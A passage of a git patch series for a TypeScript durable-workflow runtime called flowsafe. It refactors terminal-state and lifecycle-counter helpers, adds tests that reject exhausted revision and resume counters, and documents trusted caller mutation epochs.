value is RunStatus { + return typeof value === 'string' && Object.hasOwn(RUN_STATUSES, value); +} + +const NONTERMINAL_RUN_STATUSES = new Set([ + 'running', + 'suspended', + 'waiting', + 'pending', + 'paused', +]); + +export function terminalStateFields( + status: RunStatus, +): UpdateWorkflowStateOptions { + return { + status: status as WorkflowRunStatus, + result: undefined, + error: undefined, + suspendedPaths: {}, + waitingPaths: {}, + resumeLabels: {}, + activePaths: [], + activeStepsPath: {}, + }; +} + +export function terminalStateUpdate( + result: CoreRunResult, +): UpdateWorkflowStateOptions | undefined { + if (NONTERMINAL_RUN_STATUSES.has(result.status)) return undefined; + const common = terminalStateFields(result.status); + if (result.status === 'success') { + return { + ...common, + result: result.result as UpdateWorkflowStateOptions['result'], + }; + } + if (result.status === 'failed') { + const error = result.error; + const name = + error instanceof Error + ? error.name + : error !== null && + typeof error === 'object' && + 'name' in error && + typeof (error as { name: unknown }).name === 'string' + ? (error as { name: string }).name + : 'Error'; + const stack = + error instanceof Error + ? error.stack + : error !== null && + typeof error === 'object' && + 'stack' in error && + typeof (error as { stack: unknown }).stack === 'string' + ? (error as { stack: string }).stack + : undefined; + return { + ...common, + error: { + name, + message: errorText(error), + ...(stack !== undefined ? { stack } : {}), + }, + }; + } + return common; +} + +// Persistence may serialize an Error into a plain object. +export function errorText(error: unknown): string { + if (error instanceof Error) return error.message; + if (typeof error === 'string') return error; + if ( + error !== null && + typeof error === 'object' && + 'message' in error && + typeof (error as { message: unknown }).message === 'string' + ) { + return (error as { message: string }).message; + } + return String(error); +} diff --git a/packages/flowsafe/src/do-runner/runtime.test.ts b/packages/flowsafe/src/do-runner/runtime.test.ts index 4c34a9a2..e6efc303 100644 --- a/packages/flowsafe/src/do-runner/runtime.test.ts +++ b/packages/flowsafe/src/do-runner/runtime.test.ts @@ -1,17 +1,24 @@ // SPDX-License-Identifier: Apache-2.0 import { Agent } from '@mastra/core/agent'; +import type { RequestContext } from '@mastra/core/request-context'; import { InMemoryStore } from '@mastra/core/storage'; import { describe, expect, it, vi } from 'vitest'; import { z } from 'zod'; - +import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import type { D1DatabaseBinding } from './cf-types.js'; import { RunStateUnreadableError as BarrelRunStateUnreadableError } from './index.js'; import { init } from './init.js'; import { createHostPubSub } from './pubsub.js'; +import { + RunLifecycleBlockedError as LeafRunLifecycleBlockedError, + parseRunLifecycle, +} from './run-lifecycle.js'; import { InvalidRunRequestError, type RequestContextProvider, RunAlreadyExistsError, type RunLeg, + RunLifecycleBlockedError, RunNotSuspendedError, type RunnerRuntime, RunStateUnreadableError, @@ -116,6 +123,15 @@ function buildRuntime(storage: InMemoryStore): { } describe('RunnerRuntime host pubsub identity', () => { + it('preserves the moved lifecycle error constructor identity', () => { + expect(RunLifecycleBlockedError).toBe(LeafRunLifecycleBlockedError); + expect( + new LeafRunLifecycleBlockedError({ + code: 'DISPUTED_SETTLEMENT', + message: 'blocked', + }), + ).toBeInstanceOf(RunLifecycleBlockedError); + }); it('threads the pubsub instance from init() through to runtime.pubsub', () => { // #given — a host builds ONE pubsub identity for its DO const pubsub = createHostPubSub(); @@ -145,6 +161,429 @@ describe('RunnerRuntime host pubsub identity', () => { }); }); +describe('Runtime checked durable counters', () => { + const MAX = Number.MAX_SAFE_INTEGER; + const owner = { kind: 'human' as const, id: 'owner' }; + it('rejects an exhausted live cancellation before context publication or cancel invocation', async () => { + const sql = openSqlite(); + const db = sqliteUnitDatabase(sql) as D1DatabaseBinding; + const app = init({ DB: db }); + let entered = () => {}; + let release = () => {}; + const held = new Promise((resolve) => { + release = resolve; + }); + const enteredPromise = new Promise((resolve) => { + entered = resolve; + }); + let context: RequestContext | undefined; + const workflow = app + .createWorkflow({ + id: 'live-counter', + inputSchema: z.object({}), + outputSchema: z.object({}), + }) + .then( + app.createStep({ + id: 'held', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async ({ requestContext }) => { + context = requestContext; + entered(); + await held; + return {}; + }, + }), + ) + .commit(); + const create = workflow.createRun.bind(workflow); + const cancel = vi.fn(); + vi.spyOn(workflow, 'createRun').mockImplementation(async (...args) => { + const run = await create(...args); + const originalCancel = run.cancel.bind(run); + vi.spyOn(run, 'cancel').mockImplementation(async () => { + cancel(); + await originalCancel(); + }); + return run; + }); + const running = app.runtime.start('live-counter', { + runId: 'live-run', + inputData: {}, + requestedBy: owner.id, + requestedByKind: owner.kind, + }); + try { + await enteredPromise; + const read = () => + sql.prepare('SELECT * FROM mastra_workflow_snapshot').get() as { + snapshot: string; + }; + const snapshot = JSON.parse(read().snapshot); + snapshot.requestContext = { + ...snapshot.requestContext, + 'flowsafe.runLifecycle': { version: 1, revision: MAX }, + }; + sql + .prepare('UPDATE mastra_workflow_snapshot SET snapshot = ?') + .run(JSON.stringify(snapshot)); + if (!context) throw new Error('live request context missing'); + const beforeContext = [...context.entries()]; + const before = read(); + const outcome = await app.runtime + .cancelActiveExecution( + 'live-counter', + 'live-run', + 'cancelled', + [owner], + undefined, + 200, + ) + .catch((error: unknown) => error); + expect(read()).toEqual(before); + expect([...context.entries()]).toEqual(beforeContext); + expect(cancel).not.toHaveBeenCalled(); + expect(outcome).toMatchObject({ + message: 'run lifecycle revision cannot advance', + }); + } finally { + release(); + await running; + } + }); + async function counterFixture() { + const sql = openSqlite(); + const db = sqliteUnitDatabase(sql) as D1DatabaseBinding; + const provider = vi.fn(() => ({})); + const prepareExecution = vi.fn(async () => undefined); + const effects = vi.fn(); + function makeRuntime() { + const app = init({ DB: db }, { requestContextForRun: provider }); + app + .createWorkflow({ + id: 'counter', + inputSchema: z.object({}), + outputSchema: z.object({}), + }) + .then( + app.createStep({ + id: 'gate', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async ({ resumeData, suspend }) => { + if (!resumeData) return suspend({ reason: 'counter test' }); + effects(); + return {}; + }, + }), + ) + .commit(); + return app.runtime; + } + await makeRuntime().start('counter', { + runId: 'counter-run', + inputData: {}, + requestedBy: owner.id, + requestedByKind: owner.kind, + }); + const read = () => + sql.prepare('SELECT * FROM mastra_workflow_snapshot').get() as { + snapshot: string; + }; + const seed = ( + edit: (state: { + status: string; + requestContext: Record & { + 'flowsafe.runProvenance': { resumeCounts: Array<[string, number]> }; + }; + }) => void, + ) => { + const state = JSON.parse(read().snapshot); + edit(state); + sql + .prepare('UPDATE mastra_workflow_snapshot SET snapshot = ?') + .run(JSON.stringify(state)); + }; + const resume = { + step: 'gate', + resumeData: { go: true }, + requestedBy: owner.id, + requestedByKind: owner.kind, + prepareExecution, + }; + return { + sql, + db, + makeRuntime, + read, + seed, + provider, + prepareExecution, + effects, + resume, + }; + } + + it.each([ + 'cancel-intent', + 'terminate', + 'timeout', + 'cleanup', + 'resume-count', + 'resume-deadline', + 'resume-economic', + ])('rejects exhausted %s before durable or execution effects', async (variant) => { + const h = await counterFixture(); + h.seed((state) => { + state.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: MAX, + ...(variant === 'timeout' ? { deadlineAt: 100 } : {}), + }; + if (variant === 'resume-count') + state.requestContext['flowsafe.runProvenance'].resumeCounts = [ + ['gate', MAX], + ]; + if (variant === 'cleanup') { + state.status = 'cancelled'; + state.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: MAX, + terminal: { + status: 'cancelled', + error: { code: 'CANCELLED', message: 'run was cancelled' }, + transitionedAt: 100, + replayPrincipals: [owner], + }, + }; + } + }); + const runtime = h.makeRuntime(); + await expect( + runtime.authoritativeStatus('counter', 'counter-run'), + ).resolves.toHaveProperty('runId', 'counter-run'); + h.provider.mockClear(); + const before = h.read(); + const prepare = vi.spyOn(h.db, 'prepare'); + const operation = + variant === 'cancel-intent' + ? runtime.cancelActiveExecution( + 'counter', + 'counter-run', + 'cancelled', + [owner], + undefined, + 200, + ) + : variant === 'terminate' + ? runtime.terminateAsPrincipal( + 'counter', + 'counter-run', + owner, + owner, + 200, + ) + : variant === 'timeout' + ? runtime.timeOutAsPrincipal( + 'counter', + 'counter-run', + { expectedRevision: MAX, expectedDeadlineAt: 100 }, + owner, + owner, + 200, + ) + : variant === 'cleanup' + ? runtime.completeTerminalCleanup( + 'counter', + 'counter-run', + MAX, + 200, + ) + : runtime.resume('counter', 'counter-run', { + ...h.resume, + ...(variant === 'resume-deadline' + ? { deadlineMs: 60_000 } + : {}), + ...(variant === 'resume-economic' + ? { economicOperations: [] } + : {}), + }); + const outcome = await operation.catch((error: unknown) => error); + expect(h.read()).toEqual(before); + expect( + prepare.mock.calls.filter(([sql]) => + /^(?:UPDATE|INSERT|DELETE|REPLACE)\b/i.test(sql.trim()), + ), + ).toEqual([]); + expect(h.effects).not.toHaveBeenCalled(); + expect(h.provider).not.toHaveBeenCalled(); + expect(h.prepareExecution).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(Error); + expect(outcome).toMatchObject({ + message: + variant === 'resume-count' + ? 'run resume count cannot advance' + : 'run lifecycle revision cannot advance', + }); + await expect( + h.makeRuntime().authoritativeStatus('counter', 'counter-run'), + ).resolves.toHaveProperty('runId', 'counter-run'); + }); + + it.each([ + 'resume-no-replacement', + 'matching-intent', + 'already-terminal', + 'completed-cleanup', + ])('preserves maximum counters on %s nonincrementing paths', async (variant) => { + const h = await counterFixture(); + h.seed((state) => { + const terminal = { + status: 'cancelled', + error: { code: 'CANCELLED', message: 'run was cancelled' }, + transitionedAt: 100, + replayPrincipals: [owner], + ...(variant === 'completed-cleanup' ? { cleanupCompletedAt: 0 } : {}), + }; + state.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: MAX, + ...(variant === 'matching-intent' + ? { + transitionIntent: { + status: 'cancelled', + requestedAt: 100, + replayPrincipals: [owner], + }, + } + : {}), + ...(variant === 'already-terminal' || variant === 'completed-cleanup' + ? { terminal } + : {}), + }; + state.requestContext['flowsafe.runProvenance'].resumeCounts = [ + ['unselected', MAX], + ]; + if (variant === 'already-terminal' || variant === 'completed-cleanup') + state.status = 'cancelled'; + }); + const runtime = h.makeRuntime(); + const before = h.read(); + if (variant === 'resume-no-replacement') + await expect( + runtime.resume('counter', 'counter-run', h.resume), + ).resolves.toMatchObject({ status: 'success' }); + else if (variant === 'matching-intent') + await expect( + runtime.cancelActiveExecution( + 'counter', + 'counter-run', + 'cancelled', + [owner], + undefined, + 200, + ), + ).resolves.toBe(false); + else if (variant === 'already-terminal') + await runtime.terminateAsPrincipal( + 'counter', + 'counter-run', + owner, + owner, + 200, + ); + else + await runtime.completeTerminalCleanup('counter', 'counter-run', MAX, 200); + const state = JSON.parse(h.read().snapshot); + expect( + parseRunLifecycle(state.requestContext['flowsafe.runLifecycle']) + ?.revision, + ).toBe(MAX); + if (variant !== 'resume-no-replacement') expect(h.read()).toEqual(before); + await expect( + h.makeRuntime().authoritativeStatus('counter', 'counter-run'), + ).resolves.toHaveProperty('runId', 'counter-run'); + }); + + it.each([ + 'cancel-intent', + 'terminate', + 'cleanup', + 'resume-count', + 'resume-revision', + ])('advances MAX minus one %s exactly once without losing readability', async (variant) => { + const h = await counterFixture(); + h.seed((state) => { + state.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: MAX - 1, + }; + if (variant === 'resume-count') + state.requestContext['flowsafe.runProvenance'].resumeCounts = [ + ['gate', MAX - 1], + ]; + if (variant === 'cleanup') { + state.status = 'cancelled'; + state.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: MAX - 1, + terminal: { + status: 'cancelled', + error: { code: 'CANCELLED', message: 'run was cancelled' }, + transitionedAt: 100, + replayPrincipals: [owner], + }, + }; + } + }); + const runtime = h.makeRuntime(); + if (variant === 'cancel-intent') + await runtime.cancelActiveExecution( + 'counter', + 'counter-run', + 'cancelled', + [owner], + undefined, + 200, + ); + else if (variant === 'terminate') + await runtime.terminateAsPrincipal( + 'counter', + 'counter-run', + owner, + owner, + 200, + ); + else if (variant === 'cleanup') + await runtime.completeTerminalCleanup( + 'counter', + 'counter-run', + MAX - 1, + 200, + ); + else + await runtime.resume('counter', 'counter-run', { + ...h.resume, + ...(variant === 'resume-revision' ? { economicOperations: [] } : {}), + }); + const state = JSON.parse(h.read().snapshot); + if (variant === 'resume-count') + expect( + state.requestContext['flowsafe.runProvenance'].resumeCounts, + ).toContainEqual(['gate', MAX]); + else + expect( + parseRunLifecycle(state.requestContext['flowsafe.runLifecycle']) + ?.revision, + ).toBe(MAX); + expect(state.requestContext['flowsafe.runProvenance'].version).toBe(1); + await expect( + h.makeRuntime().authoritativeStatus('counter', 'counter-run'), + ).resolves.toHaveProperty('runId', 'counter-run'); + }); +}); + describe('RunnerRuntime', () => { it('passes initial workflow state through to core execution', async () => { const { createWorkflow, createStep, runtime } = init( diff --git a/packages/flowsafe/src/do-runner/runtime.ts b/packages/flowsafe/src/do-runner/runtime.ts index 2e468a8e..76c6e587 100644 --- a/packages/flowsafe/src/do-runner/runtime.ts +++ b/packages/flowsafe/src/do-runner/runtime.ts @@ -23,10 +23,7 @@ import type { Agent, ToolsInput } from '@mastra/core/agent'; import type { IMastraLogger } from '@mastra/core/logger'; import { Mastra } from '@mastra/core/mastra'; import { RequestContext } from '@mastra/core/request-context'; -import type { - MastraCompositeStore, - UpdateWorkflowStateOptions, -} from '@mastra/core/storage'; +import type { MastraCompositeStore } from '@mastra/core/storage'; import type { AnyWorkflow, WorkflowRunState, @@ -66,14 +63,33 @@ import { canonicalScheduleDispatch, hasDisputedSettlement, lifecycleFromRequestContext, + nextLifecycleRevision, + projectTerminalLifecycle, RUN_LIFECYCLE_CONTEXT_KEY, type RunEconomicOperation, + RunLifecycleBlockedError, type RunLifecyclePrincipal, type RunLifecycleState, type RunScheduleDispatch, + type RunTerminalCleanup, type RunTerminalErrorEnvelope, type RunTerminalStatus, } from './run-lifecycle.js'; +import { decodeResumeCounts, nextResumeCount } from './run-provenance.js'; +import { + type CoreRunResult, + errorText, + type RunStatus, + terminalStateFields, + terminalStateUpdate, +} from './run-terminal-state.js'; + +export { + RunLifecycleBlockedError, + type RunLifecycleBlockedReason, +} from './run-lifecycle.js'; +export type { RunStatus } from './run-terminal-state.js'; + import type { StartIdempotencyStore } from './start-idempotency.js'; export class UnknownWorkflowError extends Error { @@ -138,21 +154,6 @@ export class RunTerminalConflictError extends Error { } } -export interface RunLifecycleBlockedReason { - code: 'DISPUTED_SETTLEMENT'; - message: string; -} - -export class RunLifecycleBlockedError extends Error { - readonly reason: RunLifecycleBlockedReason; - - constructor(reason: RunLifecycleBlockedReason) { - super(reason.message); - this.name = 'RunLifecycleBlockedError'; - this.reason = reason; - } -} - /** A request the caller can fix: bad input/resume data or step selection. */ export class InvalidRunRequestError extends Error { constructor(message: string) { @@ -184,13 +185,6 @@ function asClientError(error: unknown): InvalidRunRequestError | undefined { : undefined; } -export type RunStatus = - | WorkflowRunStatus - | 'waiting_callback' - | 'waiting_signal' - | 'retry_wait' - | RunTerminalStatus; - /** JSON-safe projection of a workflow run outcome for HTTP transport. */ export interface RunSummary { runId: string; @@ -288,19 +282,7 @@ function runProvenance( ) { throw new Error('stored run provenance is malformed'); } - const counts: Array<[string, number]> = []; - for (const entry of candidate.resumeCounts) { - if ( - !Array.isArray(entry) || - entry.length !== 2 || - typeof entry[0] !== 'string' || - !Number.isSafeInteger(entry[1]) || - entry[1] < 1 - ) { - throw new Error('stored run provenance is malformed'); - } - counts.push([entry[0], entry[1]]); - } + const counts = decodeResumeCounts(candidate.resumeCounts); return { version: 1, ...(candidate.requestedBy === undefined @@ -315,110 +297,11 @@ function runProvenance( }; } -// Structural view of core's WorkflowResult union — only the fields the -// summary transports. AnyWorkflow erases the generics, so narrowing happens -// here on the status discriminant. -type CoreRunResult = - | { status: 'success'; result: unknown } - | { status: 'failed'; error: unknown } - | { - status: 'suspended'; - suspended: [string[], ...string[][]]; - suspendPayload?: unknown; - /** Per-step state incl. suspendedAt (workflows/types, suspended arm). */ - steps?: WorkflowState['steps']; - } - | { status: 'tripwire'; tripwire: { reason: string } } - | { - status: Exclude< - WorkflowRunStatus, - 'success' | 'failed' | 'suspended' | 'tripwire' - >; - }; - -const NONTERMINAL_RUN_STATUSES = new Set([ - 'running', - 'suspended', - 'waiting', - 'pending', - 'paused', -]); - // Registered agents may carry incompatible tool/output generics. The public // method preserves each concrete type; this erased form is only for handing // the heterogeneous registry to Mastra. type ErasedRuntimeAgent = Agent; -function terminalStateUpdate( - result: CoreRunResult, -): UpdateWorkflowStateOptions | undefined { - if (NONTERMINAL_RUN_STATUSES.has(result.status)) return undefined; - const common = { - status: result.status, - result: undefined, - error: undefined, - suspendedPaths: {}, - waitingPaths: {}, - resumeLabels: {}, - activePaths: [], - activeStepsPath: {}, - }; - if (result.status === 'success') { - return { - ...common, - result: result.result as UpdateWorkflowStateOptions['result'], - }; - } - if (result.status === 'failed') { - const error = result.error; - const name = - error instanceof Error - ? error.name - : error !== null && - typeof error === 'object' && - 'name' in error && - typeof (error as { name: unknown }).name === 'string' - ? (error as { name: string }).name - : 'Error'; - const stack = - error instanceof Error - ? error.stack - : error !== null && - typeof error === 'object' && - 'stack' in error && - typeof (error as { stack: unknown }).stack === 'string' - ? (error as { stack: string }).stack - : undefined; - return { - ...common, - error: { - name, - message: errorText(error), - ...(stack !== undefined ? { stack } : {}), - }, - }; - } - return common; -} - -// Failed runs carry the step's thrown error as an Error instance, a string, -// or — once it crossed an engine/persistence boundary — a serialized -// { name, message, stack } object; String() on the last reads -// '[object Object]', so extract the message wherever it lives. -function errorText(error: unknown): string { - if (error instanceof Error) return error.message; - if (typeof error === 'string') return error; - if ( - error !== null && - typeof error === 'object' && - 'message' in error && - typeof (error as { message: unknown }).message === 'string' - ) { - return (error as { message: string }).message; - } - return String(error); -} - function summarize( runId: string, result: CoreRunResult, @@ -860,12 +743,7 @@ export interface RunLifecycleTransitionResult { summary: RunSummary; transitioned: boolean; casMatched: boolean; - cleanup: { - revision: number; - status: RunTerminalStatus; - cleanupCompleted: boolean; - scheduleDispatch?: RunScheduleDispatch; - }; + cleanup: RunTerminalCleanup; } const TERMINABLE_RUN_STATUSES = new Set([ @@ -1506,7 +1384,7 @@ export class RunnerRuntime { const principals = canonicalReplayPrincipals(replayPrincipals); const intent: RunLifecycleState = { ...(lifecycle ?? { version: 1 as const, revision: 0 }), - revision: (lifecycle?.revision ?? 0) + 1, + revision: nextLifecycleRevision(lifecycle?.revision ?? 0), transitionIntent: { status: intendedStatus, requestedAt: now, @@ -1693,10 +1571,6 @@ export class RunnerRuntime { ) { throw new RunTerminalConflictError(workflowId, runId, currentStatus); } - const error: RunTerminalErrorEnvelope = - status === 'cancelled' - ? { code: 'CANCELLED', message: 'run was cancelled' } - : { code: 'TIMED_OUT', message: 'run deadline expired' }; const provenance = runProvenance(state); const fallbackPrincipal: RunLifecyclePrincipal = provenance?.requestedBy && provenance.requestedByKind @@ -1709,41 +1583,18 @@ export class RunnerRuntime { replayPrincipals ?? transitionIntent?.replayPrincipals ?? [fallbackPrincipal], ); - const lifecycleBase = lifecycle - ? Object.fromEntries( - Object.entries(lifecycle).filter( - ([key]) => key !== 'transitionIntent', - ), - ) - : { version: 1 as const, revision: 0 }; - const next: RunLifecycleState = { - ...lifecycleBase, - version: 1, - revision: (lifecycle?.revision ?? 0) + 1, - terminal: { - status, - error, - transitionedAt: now, - replayPrincipals: principals, - }, - }; + const next = projectTerminalLifecycle(lifecycle, status, now, principals); await this.#persistLifecycle( workflowId, runId, { ...state, - status: status as WorkflowRunStatus, - result: undefined, + ...terminalStateFields(status), error: { name: status === 'cancelled' ? 'RunCancelledError' : 'RunTimedOutError', - message: error.message, + message: next.terminal.error.message, }, - suspendedPaths: {}, - waitingPaths: {}, - resumeLabels: {}, - activePaths: [], - activeStepsPath: {}, timestamp: now, }, next, @@ -1798,7 +1649,7 @@ export class RunnerRuntime { } const next: RunLifecycleState = { ...lifecycle, - revision: lifecycle.revision + 1, + revision: nextLifecycleRevision(lifecycle.revision), terminal: { ...lifecycle.terminal, cleanupCompletedAt: now, @@ -2023,7 +1874,7 @@ export class RunnerRuntime { const priorCounts = new Map(storedProvenance?.resumeCounts ?? []); const nextCounts = new Map(priorCounts); if (stepKey !== undefined) { - nextCounts.set(stepKey, (nextCounts.get(stepKey) ?? 0) + 1); + nextCounts.set(stepKey, nextResumeCount(nextCounts.get(stepKey) ?? 0)); } const provenance: RunProvenance = { version: 1, @@ -2043,7 +1894,7 @@ export class RunnerRuntime { ? storedLifecycle : { ...(storedLifecycle ?? { version: 1 as const, revision: 0 }), - revision: (storedLifecycle?.revision ?? 0) + 1, + revision: nextLifecycleRevision(storedLifecycle?.revision ?? 0), ...(replacementDeadline === undefined ? {} : { deadlineAt: replacementDeadline }), diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts index 9160d9c5..1a28b0bb 100644 --- a/packages/flowsafe/src/execution-entry-matrix.test.ts +++ b/packages/flowsafe/src/execution-entry-matrix.test.ts @@ -1440,6 +1440,20 @@ const FENCE_ERROR_AUTHORS: ReadonlyArray<{ beforeExecutionEffect: 'A failed proof-binding metadata write becomes unreadable before the runtime starts the run.', }, + { + file: 'do-runner/fenced-workflows-d1.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'function terminalizationUnreadable(', + beforeExecutionEffect: + 'Explicit initial-row terminalization never enters an engine or grants no-insert authority; malformed input observations or uncertain terminal writes refuse through this fixed operation boundary without replay.', + }, + { + file: 'do-runner/run-provenance.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'const counts = decodeResumeCounts(resumeCounts);', + beforeExecutionEffect: + 'The progress decoder validates only owned metadata and performs no I/O or execution. A retained admission stamp never proves unchanged bytes or no effects, and decoding failures cannot grant definitive-zero evidence.', + }, { file: 'do-runner/fenced-workflows-d1.ts', error: 'ExecutionFenceUnreadableError', diff --git a/packages/flowsafe/src/host-kit/index.ts b/packages/flowsafe/src/host-kit/index.ts index d96ffe38..4384a6c9 100644 --- a/packages/flowsafe/src/host-kit/index.ts +++ b/packages/flowsafe/src/host-kit/index.ts @@ -50,8 +50,11 @@ export { type InitialAdmissionDatabase, type InitialAdmissionWitness, type InitialRunAdmission, + type InitialTerminalizationRequest, + type InitialTerminalizationResult, } from '../do-runner/fenced-workflow-capability.js'; export { isDefinitiveInitialAdmissionRefusal } from '../do-runner/initial-admission-refusal.js'; +export type { RunTerminalCleanup } from '../do-runner/run-lifecycle.js'; export type { D1RunAddress, RawWorkflowSnapshot, From 1b0b52ae72bcc84984f5fa183f633ffa990ad325 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 7 Sep 2026 08:10:11 +0400 Subject: [PATCH 079/169] feat(flowsafe): capture trusted start authority before waits Preserve initiating identities and mutable inputs across host and runtime boundaries without activating v2 admission. Reject sparse economic lists before execution or lifecycle persistence. Generated with [Devin](https://devin.ai) Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com> --- .changeset/sticky-fence-epochs.md | 4 + docs/deployment-reference.md | 14 +- docs/do-runner-design.md | 10 +- docs/durable-agents.md | 6 + packages/flowsafe/README.md | 8 +- .../flowsafe/scripts/agent-host-pack-test.mjs | 145 +- .../scripts/provisioning-pack-test.mjs | 30 + .../flowsafe/src/agent-host/router.test.ts | 288 +++- packages/flowsafe/src/agent-host/router.ts | 20 +- .../src/agent-host/thread-host.test.ts | 736 +++++++++- .../flowsafe/src/agent-host/thread-host.ts | 101 +- .../src/agent-host/thread-topology.test.ts | 256 +++- .../src/agent-host/thread-topology.ts | 49 +- .../agent-gate-round-trip.test.ts | 11 + .../agent-runner/durable-agent-runner.test.ts | 1210 ++++++++++++++++- .../src/agent-runner/durable-agent-runner.ts | 192 ++- packages/flowsafe/src/agent-runner/index.ts | 1 + .../src/approval-api/actor-context.test.ts | 529 +++++++ .../src/approval-api/actor-context.ts | 81 +- .../src/do-runner/durable-object.test.ts | 804 ++++++++++- .../flowsafe/src/do-runner/durable-object.ts | 101 +- .../src/do-runner/run-lifecycle.test.ts | 158 ++- .../flowsafe/src/do-runner/run-lifecycle.ts | 29 +- .../flowsafe/src/do-runner/runtime.test.ts | 1007 ++++++++++++++ packages/flowsafe/src/do-runner/runtime.ts | 213 ++- .../flowsafe/src/do-runner/thread-do.test.ts | 157 +++ packages/flowsafe/src/do-runner/thread-do.ts | 31 +- .../src/execution-entry-matrix.test.ts | 40 + .../src/host-kit/do-run-topology.test.ts | 104 +- .../flowsafe/src/host-kit/do-run-topology.ts | 12 +- .../src/host-kit/flowsafe-worker.test.ts | 218 +++ .../flowsafe/src/host-kit/flowsafe-worker.ts | 19 + .../flowsafe/src/host-kit/run-router.test.ts | 473 ++++++- packages/flowsafe/src/host-kit/run-router.ts | 73 +- .../src/host-kit/thread-topology.test.ts | 94 +- .../flowsafe/src/host-kit/thread-topology.ts | 15 +- .../thread-do-routes.real-agent.test.ts | 44 + .../showcase/worker/workflows.e2e.test.ts | 62 +- 38 files changed, 7182 insertions(+), 163 deletions(-) diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md index c003dbf5..41ec1473 100644 --- a/.changeset/sticky-fence-epochs.md +++ b/.changeset/sticky-fence-epochs.md @@ -13,3 +13,7 @@ Read additive reservation bindings and D1 proof identities, preserving active fe Add an explicit same-binding D1 initial-admission capability with atomic snapshot, winning reservation and proof writes, exact raw reads, and scoped no-insert evidence. Default and serialized background workflow domains support it while ordinary unscoped writes retain adapter behavior. Built-in Runtime and hosts do not yet activate this primitive; complete recovery and writer integration remain required before artifact-epoch enforcement is enabled. Add explicit expected-row terminalization to the owned D1 capability. It derives an unknown-effects failure or the stored cancellation/timeout intent, joins the existing background workflow queue, and reports exact conditional-write/readback outcomes without replaying execution or performing cleanup. Keep ordinary admission stamps and Runtime v1 behavior unchanged. Reject exhausted lifecycle revision and resume ordinal increments before persistence or execution while preserving readable maximum-valued counters on no-increment paths. + +Carry trusted caller epochs through Worker configuration, actor contexts, protected topology headers, Durable Object ingress and the internal agent bridge. Capture original actor/principal/selector values before waits while preserving class-backed host method receivers. The internal agent start now requires an eighth authority argument with an explicit prepared-callback property. Built-in callbacks remain undefined and Runtime still emits v1: this transport does not activate final-write epoch enforcement, generation binding or managed recovery. + +Reject sparse economic-operation lists before execution or lifecycle writes, including resume inputs. Copy indexed entries without calling caller-supplied array methods, and preserve valid dense/inherited entries and the existing lifecycle-format error. This prevents successful execution from producing an unreadable snapshot with null operation placeholders. diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md index 838bbe19..9471d929 100644 --- a/docs/deployment-reference.md +++ b/docs/deployment-reference.md @@ -169,10 +169,22 @@ Legacy `{ expected, next, proofKey? }` requests remain valid only before activat Administrative metadata does not establish final-write run or schedule protection. Do not activate the requirement until every writer supports final-write epoch checks. Use an authoritative D1 binding for administration and ordinary reads; an unconstrained replica facade cannot satisfy the store's freshness contract. The [runner design](do-runner-design.md#execution-fence-and-start-reservations) describes schema recovery, proof binding, and the legacy-absence limitation. -Additive proof-identity columns preserve an active fence's epoch, revision, receipt, state, and timestamps. A complete stored proof identity includes its D1 prefix, workflow, run, and token. Admin reads and conflicts expose neither this identity nor its token; a newly applied admin command clears it with the proof-run binding, while an exact retry preserves it. These schema/read fields do not enable generation-aware execution checks. The [identity-data helpers](do-runner-design.md#validate-execution-identity-data) validate representations without changing caller authority. +Additive proof-identity columns preserve an active fence's epoch, revision, receipt, state, and timestamps. A complete stored proof identity includes its D1 prefix, workflow, run, and token. Admin reads and conflicts expose neither this identity nor its token; a newly applied admin command clears it with the proof-run binding, while an exact retry preserves it. + +These schema/read fields do not enable generation-aware execution checks. The [identity-data helpers](do-runner-design.md#validate-execution-identity-data) validate representations without changing caller authority. `GET /admin/inventory` returns the category index. Add `?category=&cursor=&limit=` to page one category. Prove a drain only from `draining`: sweep every work category to empty twice, at least 60 seconds apart. Standing categories remain present by design, and persisted idle signals deliberately carry across the migration. +### Configure the trusted caller epoch + +Set `mutationEpoch` on `createFlowsafeWorker()` to a nonnegative safe-integer number or a synchronous callback of the deployment environment. The factory captures the configured source once; each fetch captures its value before the first deployment-verification await. A callback must return a number or `undefined`, not a string, Promise or thenable. Invalid values return `400` before authentication or route work; invalid scalar configuration fails at construction. + +`createActorResolver()` and `createPrincipalActorContext()` also accept a scalar epoch. Custom resolvers must derive it from trusted host or verified credential data, never a client-selected field. + +The topologies stamp `x-flowsafe-mutation-epoch` for internal calls, replacing or removing incoming values. `createActorResolver()` refuses that header on public requests. Both Durable Object shells capture it before deployment verification and decode the captured value only afterward. + +This configuration establishes transport, not final-write enforcement. Runtime still emits v1 provenance and uses the existing fence-state predicate, even if the stored epoch requirement is active. Keep activation disabled until the coordinated run writer, recovery and schedule mutation integration is complete. + ### Advanced routes ```text diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index dd71bc98..9751cdf6 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -197,7 +197,15 @@ The `do-runner` and `host-kit` entry points export identity and mutation-epoch h Invalid identity or epoch input throws the corresponding `INVALID_EXECUTION_IDENTITY` or `INVALID_MUTATION_EPOCH` error with status 400. An active epoch mismatch throws `MUTATION_EPOCH_MISMATCH` with status 409 and a `missing`, `stale`, or `future` classification. Malformed reading metadata remains `EXECUTION_FENCE_UNREADABLE` with status 503. -`MUTATION_EPOCH_HEADER`, `mutationEpochFromHeader`, and `stampMutationEpoch` encode canonical decimal epochs for a trusted internal channel. Authenticate that channel before interpreting its header. The helpers do not add host forwarding or request enforcement; activation still requires final-write support from every writer. +`MUTATION_EPOCH_HEADER`, `mutationEpochFromHeader`, and `stampMutationEpoch` encode canonical decimal epochs for 